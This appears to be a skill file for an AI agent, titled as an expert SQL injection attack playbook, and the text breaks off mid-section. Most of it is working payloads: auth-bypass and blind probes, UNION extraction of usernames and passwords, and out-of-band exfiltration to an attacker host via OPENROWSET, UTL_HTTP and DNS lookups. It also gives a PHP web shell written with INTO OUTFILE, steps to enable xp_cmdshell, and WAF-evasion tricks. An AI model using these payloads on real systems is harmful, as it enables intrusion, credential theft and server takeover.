sqli-sql-injection

# SKILL: SQL Injection — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Advanced SQLi techniques. Assumes basic UNION/error/boolean-blind fundamentals known. Focuses on: per-database exploitation, out-of-band exfiltration, second-order injection, parameterized query bypass scenarios, filter evasion, and escalation to OS. For real-world CVE cases, SMB/DNS OOB exfiltration, INSERT/UPDATE injection patterns, and framework-specific exploitation (ThinkPHP, Django GIS), load the companion [SCENARIOS.md](./SCENARIOS.md). ## 0. RELATED ROUTING - [ghost-bits-cast-attack](../hack-ghost-bits-cast-attack/SKILL.md) when the backend is **Java with Jackson** and your SQL keywords are WAF-blocked — Jackson's `charToHex` table is indexed by `ch & 0xFF`, so a Unicode character like `丰` (U+4E30) resolves to hex digit `0` inside a `\uXXXX` escape sequence, letting you smuggle `UNION`, `SELECT`, `1`, etc. without the WAF ever seeing them ## 1. QUICK START ### Extended Scenarios Also load [SCENARIOS.md](./SCENARIOS.md) when you need: - SMB out-of-band exfiltration via `LOAD_FILE` + UNC paths (Windows MySQL) - KEY injection / URI injection / non-parameter injection points - INSERT/DELETE/UPDATE statement injection differences - ThinkPHP5 array key injection (`updatexml` error-based) - Django GIS Oracle `utl_inaddr.get_host_name` CVE - ORDER BY / LIMIT injection techniques ### Advanced Reference Also load [SQLMAP_ADVANCED.md](./SQLMAP_ADVANCED.md) when you need: - SQLMap tamper scripts matrix and WAF bypass tamper chain recipes (space2comment, between, charencode, etc.) - `--technique`, `--risk`/`--level` combinations and `--second-url` for second-order injection - `--os-shell` / `--os-pwn` OS-level exploitation via SQLMap - INSERT/UPDATE/DELETE injection patterns with data exfiltration examples - GraphQL + SQL injection (batched queries, nested field injection, mutation injection) - DB-specific advanced functions: PostgreSQL dollar-sign quoting, MSSQL linked servers, Oracle DBMS_PIPE/DBMS_SCHEDULER If you have only confirmed a suspicious SQL sink, do not load extra payload skills first; complete first-pass validation here. ### First-pass payload families | Situation | Start With | Why | |---|---|---| | Login or boolean branch | `' or 1=1--` | Fast signal on auth or conditional checks | | Numeric parameter | `1 or 1=1` | Avoid quote dependency | | ORDER BY / sorting | `1,2,3` then `1 desc--` | Good for structural probing | | Visible SQL errors | `'` then DBMS-specific error probes | Error text gives DBMS clues | | No visible output | time-based payloads | Stable fallback for blind targets | | Heavy filtering / WAF | polyglot or whitespace-free variants | Expands parser confusion surface | ### Small, stable first-pass set ```text ' ' or 1=1-- ' or '1'='1'-- 1 or 1=1 ') or ('1'='1 '; WAITFOR DELAY '0:0:5'-- ' AND SLEEP(5)-- '||(SELECT pg_sleep(5))-- 1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5) ' order by 1-- ' union select null-- ``` ### DBMS routing hints | Clue | Likely DBMS | Good Next Move | |---|---|---| | `You have an error in your SQL syntax` | MySQL | try `SLEEP()` and `@@version` | | `Microsoft OLE DB Provider` | MSSQL | try `WAITFOR DELAY` | | `PG::` / `PostgreSQL` | PostgreSQL | try `pg_sleep()` | | `ORA-` prefix | Oracle | pivot to out-of-band or XML features | | SQLite errors, local apps | SQLite | focus on boolean/UNION and file-backed behavior | --- ## 1. DETECTION — SUBTLE INDICATORS Most SQLi is found by **behavioral differences**, not errors: | Signal | Meaning | |---|---| | Page loads differently with `'` vs `''` | String context injection point | | Numeric: `1` vs `1-1` vs `2-1` returns same | Arithmetic evaluated | | `1=1` vs `1=2` in condition changes result | Boolean-based injection | | SELECT with ORDER BY N: column count enumeration | UNION prep | | Time delay: `'; WAITFOR DELAY '0:0:5'--` | Blind/time-based | | 500 error on `'`, 200 on `''` | Unhandled exception = SQLi | | Different HTTP response size | Boolean blind indicator | **Critical**: test in ALL parameter types — URL query, POST body, JSON fields, XML values, HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie values). --- ## 2. DATABASE FINGERPRINTING ```sql -- MySQL VERSION() -- returns version string @@datadir -- data directory @@global.secure_file_priv -- file read restriction -- MSSQL @@VERSION -- includes "Microsoft SQL Server" DB_NAME() -- current database USER_NAME() -- current user -- Oracle v$version -- SELECT banner FROM v$version WHERE ROWNUM=1 sys.database_name -- current db (alternative) user -- current Oracle user -- PostgreSQL version() -- returns version current_database() -- current db current_user -- current user ``` **Error-based fingerprint**: inject `'` and read error message format. MySQL errors differ from Oracle/MSSQL. --- ## 3. UNION-BASED DATA EXTRACTION **Column count determination**: ```sql ORDER BY 1-- ORDER BY 2-- ORDER BY N-- ← until error = N-1 columns ``` **Column type detection** (NULL is safest): ```sql UNION SELECT NULL,NULL,NULL-- UNION SELECT 'a',NULL,NULL-- ← find string column ``` **Database-specific string concat** (required when column accepts only int): ```sql -- MySQL CONCAT(username,0x3a,password) -- MSSQL username+'|'+password -- Oracle username||'|'||password -- PostgreSQL username||':'||password ``` --- ## 4. BLIND INJECTION — INFERENCE TECHNIQUES ### Boolean Blind (conditional response difference) ```sql -- Does first char of username = 'a'? ' AND SUBSTRING(username,1,1)='a'-- ' AND ASCII(SUBSTRING(username,1,1))>96-- -- Oracle ' AND SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a'-- -- MSSQL ' AND SUBSTRING((SELECT TOP 1 username FROM users),1,1)='a'-- ``` ### Time-Based Blind (no response difference) ```sql -- MSSQL (most reliable) '; IF (SUBSTRING(username,1,1)='a') WAITFOR DELAY '0:0:5'-- -- MySQL ' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)-- -- Oracle ' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)-- -- Oracle sleep alternative (no SLEEP): ' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))-- -- PostgreSQL '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END-- ``` --- ## 5. OUT-OF-BAND (OOB) EXFILTRATION — CRITICAL Use when blind injection has no time/boolean indicator, or when batch queries can't return data inline. ### MSSQL — OpenRowSet (requires SQLOLEDB, outbound TCP) ```sql '; INSERT INTO OPENROWSET( 'SQLOLEDB', 'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass', 'SELECT * FROM foo' ) VALUES (@@version)-- -- Exfiltrate table data: '; INSERT INTO OPENROWSET( 'SQLOLEDB', 'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass', 'SELECT * FROM foo' ) SELECT TOP 1 username+':'+password FROM users-- ``` Use **port 80 or 443** to bypass firewall egress restrictions. ### Oracle — UTL_HTTP (HTTP GET with data in URL path) ```sql '+UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))-- ``` Oracle's UTL_HTTP supports proxy — can exfil through corporate proxy! ### Oracle — UTL_INADDR (DNS exfiltration — often bypasses HTTP restrictions) ```sql '+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')-- ``` Attacker sees: `HASH_VALUE.attacker.com` DNS query → read password hash. ### Oracle — UTL_SMTP / UTL_TCP ```sql -- Email large data dumps: UTL_SMTP.SENDMAIL(...) -- send query results via email -- Raw TCP socket: UTL_TCP.OPEN_CONNECTION('attacker.com', 80) ``` ### MySQL — DNS via LOAD_FILE (Windows + UNC path) ```sql SELECT LOAD_FILE('\\\\attacker.com\\share') -- Triggers DNS lookup before connection attempt -- Works on Windows hosts with outbound SMB ``` ### MySQL — INTO OUTFILE (in-band filesystem write) ```sql SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php' -- Requirements: FILE privilege, writable web root, secure_file_priv='' ``` --- ## 6. ESCALATION — OS COMMAND EXECUTION ### MSSQL — xp_cmdshell (if enabled, or if sysadmin) ```sql '; EXEC xp_cmdshell('whoami')-- -- Enable if disabled (requires sysadmin): '; EXEC sp_configure 'show advanced options',1; RECONFIGURE-- '; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE-- ``` ### MySQL — UDF (User Defined Functions) Write malicious shared library to filesystem, then `CREATE FUNCTION ... SONAME`. ### Oracle — Java Stored Procedures ```sql -- Create Java class: EXEC dbms_java.grant_permission('SCOTT','SYS:java.io.FilePermission','<<ALL FILES>>','execute'); -- Then exec OS commands via Java Runtime ``` --- ## 7. SECOND-ORDER INJECTION **Concept**: User input is stored safely (parameterized), but later **retrieved as trusted data** and concatenated into a new query without re-sanitization. **Example attack flow**: 1. Register username: `admin'--` 2. Application safely inserts this into users table 3. Password change function fetches username from session (trusted!) and builds: ```sql UPDATE users SET password='newpass' WHERE username='admin'--' ``` 4. Comment strips the condition → updates **admin's** password **Key insight**: Any application function that reads stored data and uses it in a new DB query is a second-order candidate. Review: password change, profile update, admin action on user data. --- ## 8. PARAMETERIZED QUERY BYPASS SCENARIOS Parameterized queries do NOT prevent SQLi when: 1. **Table/column names are user-controlled** — params can't parameterize identifiers: ```sql -- UNSAFE even with params: "SELECT * FROM " + tableName + " WHERE id = ?" ``` Mitigation: whitelist-validate table/column names. 2. **Partial parameterization** — some fields concatenated, others parameterized: ```sql "SELECT * FROM users WHERE type='" + userType + "' AND id=?" -- userType not parameterized → injection ``` 3. **IN clause** with dynamic count (common mistake in ORMs): ```sql SELECT * FROM items WHERE id IN (1, 2, ?) -- only last is parameterized ``` 4. **Second-order** — data retrieved from DB assumed clean, re-used in query without params. --- ## 9. FILTER EVASION TECHNIQUES ### Comment Injection (break keywords) ```sql SEL/**/ECT UN/**/ION 1 UN/**/ION ALL SEL/**/ECT NULL-- ``` ### Case Variation ```sql UnIoN SeLeCt ``` ### URL Encoding ```sql %55NION -- U %53ELECT -- S ``` ### Whitespace Alternatives ```sql SELECT/**/username/**/FROM/**/users SELECT%09username%09FROM%09users -- tab SELECT%0ausername%0aFROM%0ausers -- newline ``` ### String Construction (bypass literal-string detection) ```sql -- MySQL concatenation without quotes: CHAR(117,115,101,114,110,97,109,101) -- 'username' -- Oracle: CHR(117)||CHR(115)||CHR(101)||CHR(114) -- MSSQL: CHAR(117)+CHAR(115)+CHAR(101)+CHAR(114) ``` --- ## 10. DATABASE METADATA EXTRACTION ### MySQL ```sql SELECT schema_name FROM information_schema.schemata SELECT table_name FROM information_schema.tables WHERE table_schema=database() SELECT column_name FROM information_schema.columns WHERE table_name='users' ``` ### MSSQL ```sql